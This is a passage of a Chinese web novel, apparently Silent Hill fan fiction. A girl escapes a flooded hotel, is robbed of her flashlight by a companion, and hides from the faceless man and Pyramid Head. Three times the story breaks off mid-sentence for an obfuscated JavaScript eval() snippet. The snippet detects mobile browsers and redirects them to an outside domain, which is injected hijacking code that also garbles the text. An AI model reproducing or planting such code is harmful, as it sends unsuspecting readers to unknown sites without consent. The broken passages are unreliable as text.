“要怎么做,随便你。”他丢下一句话,反手关上了门。 伴随着木门碰撞在门框边缘发出的响声,我从床上跳了起来,将床头柜上的瓶子塞进包里,拎着包推开门跟上他的步伐,“等一下!” 他说的很有道理,到目前为止我确实从没有亲眼看过任何怪物,接触到的这个世界的人也只有无脸人一个。谁知道他说的是真是假。 “你有遇到一个脸上贴着白纸的家伙吗?”为了不掉队,我必须用跑的,博格纳长的高,走路也快,“我所知道的所有所谓酒店规则全是从他那里听说的。” 博格纳皱了皱眉,“脸上贴着……?没有,自从来到这个鬼地方后除了你以外我没有遇到过任何人,连只苍蝇都没看到过。” 无脸人的房间处在一楼的最后一间,我们穿过漆黑的走廊,看着一扇又一扇相似的门从身侧略过,不知为何我心里有一种异样感,不自觉止住脚步朝身后看。见我不走了,博格纳也停下来,“怎么了?” 在走廊尽头,顶上的一盏灯发出滋啦的电流音,灯光闪烁。 我看到了无脸人,握着电筒的手抖了一下,“他来了……” “什么?” “就是我之前提到的脸上贴着一张纸的人……怪人。”我说,博格纳仍然一副不解地模样,我连忙用电筒指向前方,光柱照亮了无脸人的腿,他还站在那里就像一座雕像。 “你到底在说什么,别浪费时间了。”博格纳埋怨完我以后快步走了。 博格纳看不见他? 无脸人一动不动,好像并没有威胁。我定定地望着他,脚下一点点后退,然后转身奔跑着跟上了博格纳。 “你之前说我们离开的方法也不一样,什么意思?”我们已经离开了酒店,来到漆黑一片,不见一点光亮的外面。我的手电筒是超强力的,哪怕如此在这个环境中都略显吃力,博格纳的装备比我差,那点弱光就像萤火虫的屁股,走了一小段后干脆和我共用一个电筒。 博格纳说:“你离开的办法简单,只要找到红门就行,但我……” 他叹了口气,“我连自己怎么来的都不知道。” “那我们是不是最好分开行动?” 半天都没都没等到回应,我抬头,发现他正盯着我的电筒看,顿时心中警铃大作,“这是我的。” 我又说:“你有枪支弹药,我只有一个手电筒。” 他移开视线:“我知道。” 我心有余悸。要是在这里呆久了,他不会来抢我背包里的物资吧?我想起以前在精神病院时每周五护士给病人播放的电影,其中有几部是灾难片。在危难中不乏危难之下人心难测,什么抢劫杀︱人不尽其数。我背后冒了点虚汗,必须时刻注意,目前为止来到寂静岭的目标一个都没达成,可不能这么容易就丧命。 在这之后我就离他稍稍远了一些,尽量不和他并行。 很快再次来到了那片短茬草坪上。博格纳脚碾了碾小草,“我跟着你来到这个里过,谁知道你突然开始自言自语开始往回走……” 他笑着看我,忽而脸色一变,“你这是什么表情?在害怕我?” “不是。”我摇头,“我当时和另一个人在一起,就是……” 他打断我:“我知道,那个脸上贴着纸的家伙。”他鼻子里哼了一声,“从头到尾我都没有看到过有这么个人在,你这小丫头片子看到的不会是幻觉吧?” 还真有可能。我一本正经地点头,“我确实有精神上的疾病。” 博格纳嘴角拉起的笑一僵,低声嘟囔:“还真的是个脑子有病的。” 虽然我表达出赞同他,但对于无脸人究竟是不是幻觉一事心中也有思量。幻觉这东西我最有话语权,它们最大的特点是看得见摸不着,也许会是我精神崩溃,但无法伤害到我的□□。我轻轻搭住肩膀,他把我从窗台上拉下来以后,握着我的两臂好一会。不是幻觉,是实体,那为什么博格纳看不见他? “你对这个世界了解多少?”我问博格纳。 “一无所知。”他瞥了我一眼,“否则我也不会到现在还在这鬼地方和你一起瞎转悠。” 我又问:“那寂静岭呢?”来到这个世界前的那晚,他看上去应该对小镇了解不少。 “知道一点,并不多。”他说,“寂静岭这个地方特别容易吸引精神病、罪犯以及那些心理阴暗的家伙,有的人从这里出去后会获得新生,有的则一辈子困死在这里。” 我应该属于精神病范畴,难怪被寂静岭吓了个半死还情有独钟,来了一次还要再探第二次险。我摸了摸下巴:“那你为什么会来这里?” 博格纳笑着点了点自己的鼻子:“不是说了吗,罪犯。我杀了人,所以来这里躲一躲。” 罪犯……杀人……亡命之徒……我的脸瞬间白了。 “开玩笑开玩笑,你怎么真信了。”博格纳大笑着拍了拍我僵硬的后背:“快走吧,别为这种小事停留。” 双腿宛如有千斤重,每走一步都十分费力。“其实……”我听见博格纳喃喃自语,“我是来这里寻找窄门的。” 他说:“我也想要获得救赎。” 这时候一阵风吹了过来,我们两个一齐朝前方看去。是风!我和博格纳对视了一眼,此刻什么杀人犯什么亡命之徒都抵不过想要离开的愿望,我暂时放下一切顾虑。 随着越来越深入,我的鼻腔感觉到湿意,身上也凉飕飕的,我揉搓了下肩膀,却发现衣服表面被打湿了。这时候我才注意到四周弥漫着的全是雾气,电筒的光被雾气阻碍,可视程度变得更低。只靠我手上的电筒亮光根本不够,博格纳把他那小破手电筒也拿出来了。 “我记得小镇上也有雾气,我们是不是快出去了?”博格纳的语气里带着点兴奋。 我说:“可我记得小镇里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988167|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像没有这么宽阔平坦的草坪……” 啪嗒。我脚步顿住,缓慢的抬起腿。鞋子里散发出凉意,鞋子湿透了,我好像踩进了水坑里。电筒朝下照,只见水漫过了草地,汪汪的一大片,还泛着涟漪。 灯光向前,水逐渐变深,由近处肉眼可及水下的绿草地,到漆黑一片。水越深的地方就越黑。我水性不好,如果可以的话,我希望不要靠近任何深水区,况且…… “有点奇怪。”我说。 “有什么奇怪的。”博格纳否定我的顾虑,迈开腿一脚踩进水里,溅起大片水花。 我喊住他:“是不是该换个方向?” 他头也不回:“然后呢,换个方向发现不对劲接着再换?那我们永远也出不去,永远在这个鬼地方兜圈子。都走到这来了,别前功尽弃。” 我看着他逐渐远去的身影,心一横……透心凉的感觉从脚踝蔓延到全身,我打了个寒战,这水好冰。 水的高度从浅浅只到脚踝变为高到我的腰部,我被冻的牙齿打颤,后腰隐隐约约传来痛麻感,再加上因为水的阻力行动不方便,我的速度越来越慢。博格纳比我快很多,电筒灯光照射距离有限,他每走到尽头的时候都要停下来等我。就这样差不多一来一回两三次,他好像不耐烦了。 “把电筒给我。”他的手朝我一伸。 我握紧电筒,拒绝道:“不好意思,这是我的电筒……” “你走的太慢了。”他朝我靠近了一步,“我先去前面探探路。” 谁知道是探路还是借着探路的由头取走电筒。他走的比我快,不出半会我们两个肯定会拉开一大段距离,到时候没了电筒我的四周一片漆黑什么也看不见,在这个黑暗的地方吗失去光亮和方向只能是死路一条。 而博格纳,拿走了电筒后,就算发现我掉队了也不一定会回头找我。 倒不是我心理阴暗,我必须考虑到一切。这事关到自身的安危,绝对不能儿戏。 “给我!”博格纳额头青筋暴起,“你这小孩也太自私了!我都说了先去前面探探路,又不会丢下你不管!” 博格纳竟然直接上手拿,我连忙后退,但我忘了这是在水里,连陆地上都无法保证绝对灵活的我在水里更加笨拙,脚下踩着湿润的泥土和草地,一个打滑跌坐下去,鼻子和耳朵顿时被冷水充斥。博格纳朝我伸手,却不是为了救我,而是我的电筒。 我在水里眼睁睁地看着手电筒被夺走了,却无能为力去。明明水只到腰部偏上的位置,我却怎么也站不起来,在水里一个劲的扑腾想找一个支撑点,却没想到除了筋疲力竭以外没有任何用。“救……”我的脸冒出水面发出了一个音节又被水淹没,带着咸味的水涌进鼻子和嘴巴令我窒息。 就在我以为自己即将溺死的时候,一股奇怪的力量从身体内迸发而出,我像水孩子一样与水融为一体,轻而易举的站稳脚跟。我的上半身重新冒出水面,在接触到新鲜空气的一瞬间猛吸一大口,却忘了鼻腔里还有水,被呛得治咳嗽。背包在我渴求空气时被当成碍事的东西丢掉了,现在应该沉在水底,我用脚左踢右踢,没有找到。 余光里博格纳的身影正在走远,这个可恶的家伙……顾不得背包了,我抹了一脸上的水,奋力追赶: “该死的!站住!” 博格纳头也不回,我气得浑身发抖,一边走一边用双手在水里往两边像船桨一样挥着。我发现这个方法能使我在水里行动的更轻松。 远处的亮光越来越远,眼看追赶不上,我内心绝望。但他忽然停下了,并且我隐约的看见他好像在抬头张望什么。 什么? 这时候我才发现原本偏向平静的水面翻滚着波涛,浪花一下又一下扑打在胸口,我差点站不住。紧接着,一种奇怪的感觉穿透大脑,带起头皮发麻,细胞都在为此颤抖。 我像一棵树,扎根在原地,动弹不得。 灯光所照亮的地方,好像涌动着什么。大雾之中,章鱼触角般的庞然大物若影若现,因为太过庞大,哪怕我离的这么远,仍能瞧见触角上张张合合的吸盘,以及其中的牙…… 博格纳调转方向,电筒瞬间照向了这里,我被刺的睁不开眼,生理性的泪水盈满眼眶。依稀之间,我听见他在高喊: “快跑!” 14. 第 14 章 我拼命强迫自己移开视线,忍着浑身上下僵硬的麻意,转身往后跑。 难以言喻的恐惧感在心口蔓延,好像一根针在大脑里来来回回,进进出出,看不见的乌云笼罩住我。 我不知道那是什么,看上去像是章鱼,但是潜意识告诉我那只是它最不起眼的一个形态,或者说,不是真容。真正的章鱼不可能长这么大,就算有也只会生长在深海之中而不是这个浅显的湖泊样的地方。 同时,我也清楚万分,一旦被捉住就会被拖入深渊之中,直面比死亡还要痛苦的结局。这将令我后悔终生。 电筒灯光打在后背,我的影子倒映在波浪滚滚的水面上,被搅地看不出原样。我疯了一样向前奔跑,水中的阻力带给我一种飞翔的错觉,每当在水中奔跑跳跃的时候,下落时总会有延迟,脚底心踩在被水泡的软绵绵的草地上,虚幻缥缈,一切都不那么真实。 好像我的存在也并不真实,即将迎来的死亡才是永恒的真谛,而我所经历一切不过是临死前挣扎的幻想,跨过地狱之门时回顾人间的妄想。 来时花费了多少时间和精力在此刻全部返还了回来,我看不到尽头,也不知道多久才能抵达岸边。本来我就已经足够精疲力竭,现在的全力奔跑不过是肾上腺素的加持,我只会回来会疲惫,最后淹死在湖泊中…… 远处水平面上冒出一个尖角,然后是建筑的本身。是酒店!它怎么到这里来了! 酒店全部露出水面,大门朝外开启,无数双半透明的手朝我飞来,抓住我的胳膊,托着我的腿根…… 我刚企图挣扎,就被猛地向前拉。 身后的博格纳:“上帝啊!你怎么飞起来了!” 果然,他看不见这些。 我被拉入酒店之中,黑暗的走廊飞驰而过,转过一个又一个拐角,最尽头的房门砰的一声打开,明亮的光线占据了全部视野—— 我砸到了床上,这里是无脸人的房间,也是整个酒店里唯一有灯光的地方。 透明的手们没有放开对我的制约,紧扣着我的手腕和双腿。我挣扎了一会,不仅没有用还累得慌,只能放弃。 建筑似乎在下沉,我看到窗外的水位线越来越高,漫过窗台,漫过把手,最后陷入比深黑还要浓重的墨色,只有一串气泡飘过。究竟是酒店沉入了水底,还是水平面上升,这我不知道,但我感觉到窒息。我快被憋死了。 房门被打开,无脸人走了进来,他反手带上门后,举起写字册: [我告诫过您,天亮前不能离开房间。] [如今造成一切后果都必须由您自己承担……] “但是‘天亮’的时候,你也不允许我靠近那里。”我说。 他写字的动作一顿。与此同时,我发现在他进来以后,那些透明鬼手都放开了对我的制约,我坐起来靠在床头,揉了揉发红的手腕,“所以我猜测,这个世界根本没有‘天亮’与‘天黑’之分,墙上的钟和怀表都被你做了手脚,你最终的目的是把我囚在酒店里。” 我发自内心地疑问:“为什么?”我知道无脸人不是什么善良的货色,但凭借他至今没有做出伤害我人身安全的举动,我才选择相信他的话,但自从和博格纳沟通过后,我才发现自己被骗了。 “我自始至终只想找到红门而已。”我发自内心的诚恳道:“我对我误入这个世界,打扰到你感到抱歉,但我没有恶意,来到这里并非我自己的意愿,我也是被迫的。” [找到红门离开这里后,你会继续深入下去吗?] “什么意思?” 我还没来得及看完这段话,他就翻过一页,手持钢笔刷刷的写了什么。 [先简单清洗一下吧,你现在浑身湿透,把我的床弄脏了。] 我低下头,从头到脚连同衣服都湿了个透彻,被我压在下面的被子和床单也湿了一大片,甚至有水草。我心虚了一瞬,手撑着身体往床沿挪,可还等我爬下床,那些手再次欺了上来,把我丢进洗漱间里,还顺便上了锁。 不洗干净就不许出来,我懂他的意思。 关上门的洗漱间特别压抑,特别是瓷砖墙面上滚落而下的水珠,总让我有一种房屋漏水的错觉,外面的水就要浸满这里,把我淹死。 左边是镜子,上面有水雾,但是仍然能清晰地照出我的模样。湿透的发丝粘连在脸颊,嘴唇和脸色一样苍白,而在镜子的左下方……是几根摇摇晃晃的半透明手。 我连忙偏头看,那些手朝我摊开,像是在索要东西,可惜我不知道它们想要什么。手似乎不耐烦了,开始扯我的湿衣服。 “松手……别!”我捂住衣服后退,最后抵住墙面,看着眼前晃晃悠悠和海草一样的手,我突然意识到她们没有眼睛。反正我都要洗澡的,脱了也是脱,这么想着我自发地将衣服脱掉然后把那些手当作衣架子挂上去,顺便嘱咐:“别拿远,我还要穿。” 我走进浴室,隔着一扇玻璃门,外面的手们开始往我的衣服上打肥皂,洗干净拧干水,用吹风机从上到下地进行吹干操作,熟练程度令我感到震惊。 等我出来的时候,它们将干净还带着点温热的衣服递给我。 “谢谢……”我目瞪口舌。 床单和被套也被换过了,我摸了摸,是干燥的。 无脸人不在房间里,不知道去哪里了。房门是半开的,似乎是他走没有完全关上。明明写字册上每一笔每一画都透露着不希望我外出的信息,却偏偏把门留一条缝。 就好像在引诱我一样。 而我不负所望的……上钩了。 我轻手轻脚地推开门,入眼是一片漆黑,没有手电筒我无法在黑暗中前行,但在内心的驱使下,左脚踏出了房门踩在门外的地板上。 啪嗒。 是水,我怔愣住。 脚踝被冰凉的吸附感缠绕住,借着房间内的灯光,我眼尖地发现那是一只章鱼脚! 这只章鱼脚明明纤细却特别有力,我抓着门框用劲全身力气,却抵抗不了。指甲卡在门框上边缘通红里侧泛白,几乎掀开断裂,我疼得冷汗直冒,但更多的是无法言喻的恐惧。 我无法想象被拖进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988168|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗里会发生什么,我也不敢想。 半透明的手突然冲了过来,攥住我的手腕将我往里拉,还有的绕到身后企图掰开章鱼脚的缠绕。一前一后,反复拉扯,我快断成两半了。 我从口袋里掏出仅剩的小刀,朝章鱼脚用力刺去。章鱼触手吃痛松开,我和手们一起哐当一声跌倒在地。几根章鱼脚穿过门框正准备再次缠住我,几根手冲上去关门,章鱼脚被门夹住却不肯退缩,反而更加张狂。 躺在我身侧的手们也全部爬了起来,尽全力按住房门。 章鱼脚被挤压变形,吸盘向外凸起,扭曲蠕动,恶心至极。 不知道对峙了多久,章鱼脚像是被按下了暂停键一样静止不动,然后退了出去。 我仰面躺倒,颤抖着松了一口气。 手们撑在我的耳边,一眼望过去有点渗人。我强撑着疲意抿唇一笑,“谢谢。” 不知道我这两个字出动了它们哪一条神经,它们的胳膊竟然开始扭动起来,就像海草一样,并向我靠拢,有的手抚摸我的脸,有的则环住我的腰部…… 我诧异:“干什么?” 门又开了,手们停顿一瞬,纷纷不情愿地从我的身上挪走,然后缓缓下降隐入地板中。我撑着地板坐了起来,本想下意识朝门的方向看,却感觉背后有一种被注视的感觉,扭头一看对上了一只红色的大眼睛。就是半夜偷窥我的那只。 在经历了这么多奇葩的事件后,我的承受能力已经高到了一个巅峰,但仍然会被吓一跳。这眼睛也太大了。 与之前不同的是,这只眼睛此刻似乎有点生气,眼皮微微耷拉着,被我看见了也不躲,红色眼瞳瞥了我一眼又移开。 无脸人走了进来,鞋底在地面上印下水痕。外面全是那种章鱼触手怪,可他毫发无损,甚至……挺悠然自得的,再加上之前那些手手们对他言听计从的模样,我不禁肃然起敬。 他一定很厉害。 心里也有些忐忑,他这么强,我会不会有危险?虽然他看上去对我没有敌意,甚至愿意帮助我,但谁知道能保持多久,说不定很快,或者下一秒就会转变性子干掉我。 他向我点点头算是问好,全程没有看我身后的大眼睛,无视了它的存在。 “外面那些是什么?”我问。 他简言意骇:[怪物。] 我当然知道那是怪物,但想了解更具体一点的,比如它到底是个什么东西,有没有办法躲避或者啥子,以及被抓住以后会发生什么。 会死吗? “死”这个字对我来说既陌生又熟悉,陌生是因为周围人普遍都不喜欢把它挂在嘴边,因为耳朵所受到的频率并不高,至于熟悉…… 死亡,究竟是身体的彻底衰败还是灵魂的消散。各神的信徒认为灵魂的消散才算得上真正的死亡,但我觉得存在的消失才真正配得上这个字。只要有一个人记得我,那我就不会死。 熟悉就熟悉在,我曾与死亡挂钩,过去的我也许不该存在这个世界上。真是个荒唐地想法,可惜我不会就此停止前进的脚步。 15. 第 15 章 啪! 章鱼脚拍在窗户上,吸盘紧紧吸附在玻璃上,然后抬起,吸盘里的小尖牙在外侧玻璃上留下几道划痕,又猛地砸了上来,把窗户拍地砰砰乱响。 我真担心玻璃碎裂,这个屋子直接变成鱼缸。 无脸人:[不用担心,只要你永远惧怕、警惕,那么它就不会进来。] 这还是由我能决定的?我对他的话保持怀疑。 我紧紧地盯着窗户,章鱼脚又砸了好几下窗户,就走了。我松了一口气,感谢它没有锲而不舍的精神。 转回脑袋—— 无脸人离得很近,脸几乎贴上来,脑袋微微向左歪。 我不知道他突然靠近的目的是什么,不敢轻举妄动,眼睛直视前方,一眨不眨,双手攥紧放在膝盖上。 但也许人在越紧张的时候越容易被一些无关紧要的东西吸引注意力,我更倾向于是大脑在安抚我。墙壁上眼睛睁得滚圆,红色的瞳孔全部暴露出来,衬得眼白极少。瞳孔中央像是有一汪湖水,石子丢进去溅起涟漪,圆圈向外扩散,一圈又一圈,一圈又一圈,宛如催眠一样令我深陷其中。 不能再看了。 我强迫自己移开视线。 却没想到无脸人突然离我这么近,刚把脑袋强行扭回来的我差点和他的脸贴在一起。这么近的距离,连纸张的纹理都能看清,我闻到白纸的草木味和勾画出简笔笑脸的油墨味,后者很淡,但并不是没有。 他想干什么? 我吞咽了一下唾沫,手抵着床,一点一点的向后挪,直到和他之间的达到心目中的安全距离,我仍然没有松气。 “你……”我本来想说离我远点,但觉得语气有点冲,我现在正在他的地盘里,无论对方的行为多么令我生厌,都最好不要表现的过于明显,毕竟谁知道哪一个句话哪一个动作会惹怒他。我很珍惜自己的,生命可贵。我说: “你想说什么?” 写字册就放在他的手边,我瞄了一眼,空白的。他没有任何拿起写字册书写的动作,失去了语言这一个沟通途径,我现在一头雾水,根本无法知晓他所作所为的目的。我倍感惶恐,一个不知道是人是怪的东西突然贴近究竟为何?是想吃了对方,还是…… 手抚上了我的侧脸,无脸人带着白色手套,布料既不冷也不热,却令我背后发凉。我颤抖地吸入一口空气,下意识想把他的手推开,但推了几下发现纹丝不动,于是我再次往后退。 无脸人此时靠了过来,我看着那张好笑的简笔画笑脸越来越近,直到嘴唇下巴都感受到独属于纸张的粗粝感—— 他有病吧? 我一巴掌拍上他的脸,揪住纸张顺势一扯!他脸上的纸被我扯了下来! 无脸人捂住脸摇摇晃晃地远离,他遮脸的速度极快,以至于没机会看到他藏在纸张下面的真容。我没那个功夫惋惜,全身心都在庆幸眼前这个该死的东西终于离我远点了。 明明连嘴都没有还会强吻人,真是可怕的很啊! 我坐他站,一个惊魂未定另一个看不出情绪,就这样对峙着。 片刻后,无脸人朝我伸出手,我将被揉成一团的白纸丢了过去。他接住了,背过身鼓捣了好一会,才转回来。 白纸皱皱巴巴的,笑脸都扭曲了,他两只手在纸上按了按企图抚平,但没有任何用。 “离我远点。”我恶狠狠地说,和之前的小心翼翼不同,我彻底绽放出恶意。他都不掩饰了我还掩饰什么,再客气下去说不定命都没了。 [抱歉。] 他朝我鞠了一躬,拉开门走了。 直到房门关上,他的身影彻底消失不见,我才打心里松了口气向后瘫倒下去。墙上的红眼睛在无脸人走后继续观察我,在我奇怪地回看时眼瞳颤了颤,合上眼睛消失不见。 现在整个房间只剩我一个人了。 亏我还以为无脸人在保护我,原来他也别有用心,把我关在这个房间里十有八九是把我当玩具或者储备粮。如果猜想是真的,我更希望是后者,好死不如赖活着这句话不适用于这里。我没有接触过正常孩童,精神病院的那些年幼患者所经受的玩具无一不是缺胳膊少腿,估计正常孩子也差不多。 无脸人拿我当玩具,估计会掰断条腿或者胳膊,总之不会那么好受的。 想到这里我打了个冷颤,我才不要变成残废。 砰!砰!砰!窗户又发出巨响。 本以为是章鱼脚又来试图破窗,警惕地看过去时发现窗外的不是令人起鸡皮疙瘩的章鱼脚,而是一个铁质的三角头盔。 三角头! 我一下子从床上坐了起来,他为什么会出现这里?!我都把他抛到脑后了,还有外面可全是水啊,他难道不会淹死吗……差点忘了,他也属于怪物,和无脸人差不多的东西。 三角头在砸窗户,他用拳头一下又一下地锤向玻璃,震得连窗框都在发抖,每一下震动和巨响都如同敲在我的心头。他的胳膊结实,窗户玻璃好像在他手下挺不过多久,我几乎幻视窗户玻璃被哗啦一声砸得粉碎,水挤了进来把我淹死,或者说是水和章鱼脚一起冲进屋里,还没等水充满整个肺部章鱼脚们就缠住我的脖子,把我勒死…… 无论哪条路,都是死路一条。 “别砸了!”我真想捂住耳朵。 三角头不仅没有停下,反而变本加厉,他退开一步,抄起手中的砍刀,企图用刀柄砸开窗户。我绝望怒吼:“给我停手!滚开——!” 我吼地喉咙发疼,拼上了全力,而他竟然真的停住了,双手举着大砍刀以一个滑稽的姿势僵在那。我因为吼地太用力胸腔发疼,不得不用手按着胸口。 三角头盔顿了一会后终于动了,提着砍刀游走了。简直谢天谢地。 但三角头为什么会来这里?他来干什么?前两次与他接触,要么是准备将我撕成两半,要么是把我从三楼扔下去企图摔死我,都不是美好的回忆。 不出意外的话,这一次十有八九不是好事,可能是来杀我的,他手上多了一把砍刀,估计会用那个把我砍成两半。我已经幻想道大砍刀劈在我的脑袋上血和脑浆四溅的模样,说不定还会被碎︱尸。 唯一的解决办法就是尽快找到红门,他到不了原来的世界,只要穿过红门就安全了。但问题是红门到底在哪里!我咬着指甲焦虑不已,红门到底在哪里!之前在整个酒店里翻了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988169|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底朝天也没有找到……难不成藏在那些锁着的房间里! 我跳下床跑到门前,握着把手刚准备开门,就想起来之前开门后差点被章鱼脚拖进黑暗处死。我的手微微发抖,松开了把手,一步步后退。 无论选哪条路都是死路一条……我闭上眼睛深吸一口气横竖都是死,还不如赌一把! 我半推半撞开房门,印象里的章鱼脚没有出现,但是仍然一片漆黑。我回头拿上床头的烛台,继续踏上路程。 水好巧不巧刚好到鞋跟的位置,虽然走路时会有水溅到裤子后脚,但鞋袜并不会被弄湿。 自我踏出房门以后,那些恶心的章鱼脚并没有跑来出风头,到目前为止我都是安全的,但并不能掉以轻心。酒店大厅简直是一片汪洋大海,我小心翼翼地来到前台。 和上一次不一样,这时候的柜台后竟然不再是严丝合缝的木板,而是多了一个小抽屉。 我拉开抽屉,不知道是不是因为时间久了里面的轴生锈,开抽屉的时候发出刺耳的呲啦声,我又是一阵心惊胆战,担心会突然冒出来一个被声音吸引来的章鱼脚。 抽屉里面防止一把钥匙,我拿起靠近烛台。 ——杂物室。 钥匙上的标识写着杂物室,这不是任何一间客房的钥匙。可是这家酒店有杂物室吗?我手抵着下巴想了好久,就像一道白光闪过,我恍然想起在一楼楼梯的下方好像是有一间矮小的门,只有半人高,如果是无脸人和三角头想要通过恐怕极为吃力,但我就没那个烦恼。 至于为什么,估计因为我又瘦又矮吧。 这不是贬义,其实我挺喜欢自己的长相,虽然不是美到极致但至少算得上不错。每当我将这个想法告诉精神病院里的病友时,他们都点头赞同,但同时也会附上一句话: “你是不是有点太自恋了?毕竟没有人会这样赞美自己。” 我对此非常不解,为什么?为什么没有人会这样赞美自己? 在所记得的日子里,我没有哪怕一秒不是爱着自己的。自己欣赏自己,这有错吗? 我将钥匙放进口袋里,目前多了一个可以探索的空间,很不错,但是无法保证红门就在那里,我必须多找一找。 前台的正对面就是大门,旋转门在水流的作用下不断地旋转着,其他两扇门关的严丝合缝还能理解,但旋转门有着这么大的空隙,水却没有涌进来。 也许是无脸人的手笔吧,他能操控半透明的手把我拉回酒店里,估计也能控制酒店里的空间不成为现成的鱼缸。 我刚准备离开,余光里大门的方向闪过一道身影。处于好奇心害死猫,我竟然停下来观察。那抹黑色身影逐渐靠近了旋转门,先是一只脚离开外面的水踏上了底部的瓷砖面,然后是结实的小臂,推着旋转门前行。 终于他脱离了水流,露出全貌。 三角头! 我的头发都快竖起来了。三角头握着砍刀的柄部,缓慢的拖着走,也许是因为水流有阻力的缘故,他的速度很慢。我迈开腿打算跑,但因为太过紧张一时间竟然不知道该往左还是往右....... 去那个杂物间! 我告诉自己。 16. 第 16 章 砍刀拖在地板上发出的刺耳响声就像是恶魔夺命的叫嚣,我拼尽全力奔跑,在跑过一个拐角时脚下打滑摔了一跤,膝盖扑通一声跪在地上,疼的我几乎升天。 烛台也掉进水里了,幸好这是个假货,上面的三根烛光都是小电灯泡。因为进水灭了两个,亮度大大下降,好在仍然能看清路。 我把烛台从水里捞出来,随手甩了甩,继续用。 楼梯下面的空间很小,我必须猫着腰才行。好不容易找到了那扇小矮门,我一边掏钥匙一边回头看,三角头已经追了上来,他恐怕习惯了全是水的环境,速度提高了好几倍。 我紧张的吐了口气,将钥匙插进锁孔里。转了一圈,锁没开,我拧起眉毛,瞥了一眼越来越近的三角头,忍着心中的焦急继续开锁。 第二圈,还是没开。究竟怎么回事?! 第三圈,第四圈,第五圈.......这是什么破锁! 直到第六圈,锁开了! 我真是谢谢天谢谢地。 三角头已经彻底逼近,楼梯下面的空间很小,他人高马大想要进来很不容易,于是就伸手抓我,他的胳膊很长,想要抓到我简直轻而易举。我一边惊恐地躲避一边连滚带爬地钻进了小门。 直到门关上,那双企图抓我的大手连一片衣角都没有揪到。 . 假烛台不仅假还劣质,仅剩的一颗小灯泡光芒比之前又暗了几分。我在心里默默祈祷千万别灭,否则就又要置身于黑暗之中了。 我不是夜行动物,也不像小猫一样吃点硫磺酸就能变成夜行侠。我只是一个可怜无助,脑子有点小病的小女孩而已。 杂物室的空间比想象中要大,我本以为是一间狭窄窒息的地方,没想到只是入口的一点地方稍稍憋屈,实际上内里的空间非常宽阔。仅仅是烛光照亮的地方,置物架就有好几个,不过上面的东西不算多,零零散散的。 似乎还有翻动过的痕迹,难不成这里还有其他人来过吗,可为什么我没有看到对方的踪影。 我在置物架之间穿梭,左右摆放的杂物并不能引起我的注意力,我全身心都在寻找红门上……唯独一件。这是一张发旧泛黄的纸页,贴在置物架的骨架上,我举着烛台的时候正好照亮了它。 ——送亲爱的多琳,庆祝我们相遇的第一天,希望每当你看见这句话的时候,脑海中都能够浮现出我的身影。 最后还画着两侧各带着三条斜杠当做红晕的简笔笑脸,很可爱。 纸页所张贴的骨架旁边还有一个小盒子,是密码盒,表面有三位数的密码锁,我摸了摸下巴,把烛台放在置物架的台面上,撸起袖子开始了我最擅长的穷举法。 大约一刻钟后,盒子开了,密码是1999。里面是空....... 真不知道我费这么大功夫把盒子打开是为了什么。 我叹了口气,关上盒子,无脸人出现在柜子的另一侧。他总是这么一惊一乍的,我早已经习惯,但他这么突然出现还是会令我心脏抽搐一下。 “你什么时候来的?”我捂着胸口道。 [您又擅自离开了房间。】 “我要找到红门。”我说:“况且三角头追来了,我要是不尽快离开,会被他杀掉的。” [放心,他不会......] 我听到了砸门的声音,就在小门的方向,砰砰砰的响个不停。三角头还挺有本事,那么矮小的地方都能钻进来......那他呢,我看向无脸人,他又是怎么来到这里的? 这座酒店是他的地盘没错,但他是怎么发现我在这里的,况且小门在我来到杂物室以后就从里面反了锁,难不成这里还有其他的门? 无脸人揽住我的肩膀,[往这里,不能被他抓住。] 他好像也在惧怕三角头。 我被他强行揽肩拖着走,上本身已经跟着离开了一段距离,可脚还在原地,要不是我被他抱着,恐怕早就已经摔倒在地了。 腰部撞上了一个坚硬的东西,随着一声巨响,我回过头发现那个精美的大盒子被我撞到地上了,上面的装饰物摔得散落地到处都是,照片飘落在地,“幸福时刻”四个字异常清晰。 幸福......既然幸福为什么要把脸给涂掉? 在被拉着跑的途中,我留意着四周,很可惜,并没有发现和门有关的东西。有可能隐藏在某些地方,可三角头马上就要追上来了,无脸人又揪着我不肯放手,根本没有机会细细搜寻。 果不其然,杂物室还有其他出入口。当看到隐藏在一座白色石膏雕像后面的门时眼前一亮,后知后觉的意识到那并不是我先要的红门,情绪低落下去。我对红门的执念太深,但凡看到相似的东西都会联想到它的身上。 打开门后,一楼走廊再次出现在我的眼前,不过这里是另一侧的走廊。原来是这扇门,我仔细看才发现门上没有门牌号,它长的和周围房门太像,以至于我一直以为里面和其他一样是普通房间。 